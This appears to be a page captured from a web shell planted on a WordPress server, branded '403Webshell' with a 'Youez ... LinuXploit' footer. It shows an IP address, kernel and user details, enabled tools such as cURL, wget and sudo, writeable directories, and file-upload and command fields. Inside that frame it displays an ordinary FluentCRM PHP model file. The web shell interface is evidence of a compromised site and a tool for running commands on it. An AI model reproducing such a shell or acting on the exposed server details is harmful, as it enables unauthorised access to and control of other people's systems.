403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Models/SubscriberMeta.php
<?php

namespace FluentCrm\App\Models;

use FluentCrm\App\Services\Helper;

/**
 *  SubscriberMeta Model - DB Model for Contact meta data
 *
 *  Database Model
 *
 * @package FluentCrm\App\Models
 *
 * @version 1.0.0
 */

class SubscriberMeta extends Model
{
    protected $table = 'fc_subscriber_meta';

    protected $guarded = ['id'];

    /**
     * One2One: SubscriberNote belongs to one Subscriber
     * @return \FluentCrm\Framework\Database\Orm\Relations\BelongsTo
     */
    public function subscriber()
    {
        return $this->belongsTo(
            __NAMESPACE__.'\Subscriber', 'subscriber_id', 'id'
        );
    }

    public function scopeFilterByKey($query, $key)
    {
        if ($key) {
            $query->where('key', $key);
        }

        return $query;
    }

    public function setValueAttribute($value)
    {
        $this->attributes['value'] = maybe_serialize($value);
    }

    public function getValueAttribute($value)
    {
        // Guard against PHP Object Injection: contact custom-field values are user-influenced,
        // so never instantiate objects on read. Arrays/scalars are preserved.
        return Helper::safeUnserialize($value);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit